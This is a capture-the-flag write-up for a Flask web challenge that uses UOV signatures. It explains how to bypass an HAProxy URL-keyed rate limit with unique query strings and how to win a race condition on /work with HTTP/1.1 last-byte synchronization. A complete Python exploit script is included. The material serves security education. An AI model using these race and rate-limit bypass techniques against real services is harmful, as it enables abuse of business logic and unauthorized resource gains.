$ cat writeup.md…
$ cat writeup.md…
umasscybersec
Task: a Flask app gives a uid, signs 0|uid with UOV, and lets /work trade valid signatures for studs behind an HAProxy URL-based rate limit. Solution: reuse genuine signatures from the app, bypass the limiter with unique query strings, then win a race at studs=2 using HTTP/1.1 last-byte synchronization so many verified requests increment the same uid before the counter update is observed.
Organizer description was not preserved in the local task notes.
We receive a web service that creates a temporary uid, gives one free signed token through /buy, and allows /work to exchange a valid signature for more studs. Reaching at least 7 studs makes /buy return the flag.
The challenge mixed crypto flavor with a web race, but the intended break was not a public-key forgery against UOV.
Relevant behavior:
GET / creates uid with 0 studs.GET /buy?uid=... at 0 studs returns a valid UOV signature for 0|uid.POST /work verifies the provided signature against the current payload <studs>|<uid>.r.incr(uid).1 and 2, the server returns a fresh valid signature for the next payload.> 2, the request still increments the counter, but no longer gives new signatures.The proxy was equally important:
stick-table type string len 2048 size 100k expire 20s store http_req_rate(20s) http-request track-sc0 url http-request deny deny_status 429 if { sc_http_req_rate(0) gt 1 }
Because the stick table keys on the exact full URL string, /work?a=1 and /work?a=2 are rate-limited independently. That makes unique query parameters enough to bypass the intended one-request limit.
The bug is a state-changing race in /work: verification is tied to the current <studs>|<uid> value, but the increment happens after that check and is not protected against many parallel requests validating the same state. Once we have a genuine signature for 2|uid, multiple workers can all verify against studs=2 and each call r.incr(uid).
The crypto layer only gates progress between states. It does not stop the race because the application itself provides valid signatures for 0|uid, 1|uid, and 2|uid.
A simple thread-pool burst usually reached only about 2-4 studs. In practice, unsynchronized clients do not hit the critical section tightly enough: some requests arrive after earlier increments have already changed the Redis value, so the reused 2|uid signature no longer matches the now-current payload such as 3|uid or 4|uid.
The shared service was also unstable, so the reliable approach was to launch a dedicated instance through the instancer with the CTFd team token and race that isolated target instead.
uid with GET /?x=<unique>.GET /buy?uid=...&x=<unique> to obtain a valid signature for 0|uid.POST /work?x=<unique> to get the server-generated signature for 1|uid.1|uid signature once to get the server-generated signature for 2|uid./work?x=<unique> and prepare identical JSON bodies using the valid signature for 2|uid.studs=2, all verify successfully, and many r.incr(uid) operations land./buy?uid=...&x=<unique> again; once studs are at least 7, the flag is returned.The key improvement was HTTP/1.1 last-byte synchronization. Instead of hoping that a normal parallel burst overlaps, each socket sends headers and nearly the entire body first. The final byte is withheld so the application cannot parse the JSON yet. Releasing that byte across many sockets makes the requests become valid at nearly the same instant, maximizing the chance that many workers evaluate the same pre-increment state.
#!/usr/bin/env python3 import json import socket import ssl import threading import time import urllib.parse import urllib.request import uuid import re UID_RE = re.compile(r"uid is ([0-9a-f]{16})", re.I) SIG_RE = re.compile(r"signature: ([0-9a-f]+)", re.I) def nonce(): return uuid.uuid4().hex def http_get(url): with urllib.request.urlopen(url, timeout=20) as r: return r.read().decode() def http_post(url, body): req = urllib.request.Request( url, data=json.dumps(body).encode(), headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=20) as r: return r.read().decode() def get_uid(base): m = UID_RE.search(http_get(f"{base}/?r={nonce()}")) return m.group(1) def get_buy(base, uid): return http_get(f"{base}/buy?uid={uid}&r={nonce()}") def get_sig(text): m = SIG_RE.search(text) return m.group(1) if m else None def advance_once(base, uid, sig): return http_post(f"{base}/work?r={nonce()}", {"uid": uid, "sig": sig}) def open_socket(host, port, use_tls=False): s = socket.create_connection((host, port)) if use_tls: ctx = ssl.create_default_context() s = ctx.wrap_socket(s, server_hostname=host) return s def build_request(host, path, body_bytes): req = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Type: application/json\r\n" f"Content-Length: {len(body_bytes)}\r\n" "Connection: close\r\n\r\n" ).encode() return req + body_bytes[:-1], body_bytes[-1:] def race(base, uid, sig2, workers=32): parsed = urllib.parse.urlparse(base) host = parsed.hostname port = parsed.port or (443 if parsed.scheme == "https" else 80) use_tls = parsed.scheme == "https" socks = [] tails = [] for i in range(workers): path = f"/work?r={nonce()}_{i}" body = json.dumps({"uid": uid, "sig": sig2}).encode() prefix, tail = build_request(host, path, body) s = open_socket(host, port, use_tls) s.sendall(prefix) socks.append(s) tails.append(tail) start = threading.Barrier(workers) def release(sock, tail): start.wait() sock.sendall(tail) threads = [threading.Thread(target=release, args=(s, t)) for s, t in zip(socks, tails)] for t in threads: t.start() for t in threads: t.join() for s in socks: try: s.recv(4096) finally: s.close() def main(): base = "http://127.0.0.1:8000" uid = get_uid(base) sig0 = get_sig(get_buy(base, uid)) sig1 = get_sig(advance_once(base, uid, sig0)) sig2 = get_sig(advance_once(base, uid, sig1)) race(base, uid, sig2, workers=40) print(get_buy(base, uid)) if __name__ == "__main__": main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md